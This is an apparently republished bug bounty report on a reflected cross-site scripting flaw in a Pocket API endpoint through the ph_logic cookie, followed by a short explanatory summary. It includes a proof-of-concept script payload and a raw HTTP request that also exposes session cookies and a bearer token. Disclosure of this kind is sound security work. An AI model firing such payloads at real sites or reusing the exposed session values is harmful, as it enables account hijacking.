XSS (Cross Site Scripting) Vulnerability on api.getpocket.com via ph_logic cookie value
The ph_logic cookie value was reflected unencoded into the response of a getpocket.com API endpoint, allowing script execution. An attacker could run JavaScript in a victim's browser if they could set that cookie.
Originally disclosed on Mozilla
- Fixed in 13 months
- Paid in 13 months
- Disclosed after 13 months
Hello Team,
This is KhanJanny. I have found XSS (cross-site scripting) vulnerability on api.getpocket.com (cookie bashed)
Vulnerable URL: https://api.getpocket.com/hits/awards/2013/
Vulnerable Parameter: ph_logic
Paylaod: '"()&%<kahn><ScRiPt%20>alert(document.domain)</ScRiPt>
HTTP Request:
GET /hits/awards/2013/ HTTP/1.1
Host: api.getpocket.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b3b1aac5348a8111a54373cfdb73a043; sess_guid=250dDp59T35c3C5c87AH73eOdtgXT2e1e51Tdtgc49B7e1h7254bdl9aYzOPZ043; ph_logic='"()&%<kahn><ScRiPt%20>alert(document.domain)</ScRiPt>; sess_start_time=1617082744; AUTH_BEARER_default=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzUxMiJ9.eyJpYXQiOjE2MTcwODI3NzAsImp0aSI6ImRZZUhHamY1OEo3S1wvOXBZU2pwMVpNZDNxRXoxekNVN2p6Z1JrckFDQUcwPSIsImlzcyI6ImdldHBvY2tldC5jb20iLCJuYmYiOjE2MTcwODI3NzAsImV4cCI6MTYxNzA4NjM3MCwiZGF0YSI6Il9zZjJfYXR0cmlidXRlc3xhOjE6e3M6MjM6XCJfY3NyZlwvcG9ja2V0X2NzcmZfdG9rZW5cIjtzOjQzOlwiQnVJV1dXVzFjM1Q0SWRHeXB2d1ptM2RIUkpoc09hbDB3aGZNQU1JX0hRd1wiO31fc3ltZm9ueV9mbGFzaGVzfGE6MDp7fV9zZjJfbWV0YXxhOjM6e3M6MTpcInVcIjtpOjE2MTcwODI3NzA7czoxOlwiY1wiO2k6MTYxNzA4Mjc0NDtzOjE6XCJsXCI7czoxOlwiMFwiO30ifQ.mHhCX2czJkun_w3yJokKSmYR-gfHRD1p14lMINOeZKjpZggWp-gD7-O01QeaSk2B5MxZoqV6xFIyjPtwbEIg9jbedz0tiVbJNeGcFg2_1jq5ph-UMWSkd6h1ZNrRqBPhW-ULoFntjZpvdedqB1TUHI1gzKwOfAKJq-hHeqUiyWkK5DpxUzDjzCh_RQFkTp3Zg80ElgfpbeXv3HDm28-o6cZERO0D9J5CKf7bpEGLcuhIk_PNmtxZl7irojEXwS1qYtTOErcCx-HpQipMdb8BktGxQWUEUQCutOSyX7H-S4aMkkC1vrJMStWETs07Hlm2ywvShFMFdfDb4bebhyMLDQ; OptanonConsent=isIABGlobal=false&datestamp=Tue+Mar+30+2021+11%3A39%3A31+GMT%2B0600+(Bangladesh+Standard+Time)&version=6.14.0&hosts=&consentId=73fd1484-b31e-45ef-b0b2-bd4e983a19e1&interactionCount=1&landingPath=https%3A%2F%2Fapi.getpocket.com%2Fhits%2Fawards%2F2013%2F&groups=C0001%3A1%2CC0002%3A1%2CC0004%3A0; _ga=GA1.2.1285845889.1617082747; _gid=GA1.2.1822580397.1617082747; _gat=1
Upgrade-Insecure-Requests: 1
Impact:
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.
if you guys need more info let me know.
Thanks
khanjanny
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application reflected the ph_logic cookie value into the HTML response without encoding it.
Impact
An attacker could execute arbitrary JavaScript in a victim's browser, but the report does not show how an attacker would set the cookie on a victim's browser.
What the attacker needed
Ability to set a cookie on the victim's browser
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website takes input from a user and puts it into a page without cleaning it, so a malicious script can run in the browser. Here the input was a cookie value, which the server echoed back into the page. If an attacker can make a victim's browser send a crafted cookie, the script runs as if it came from the site.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.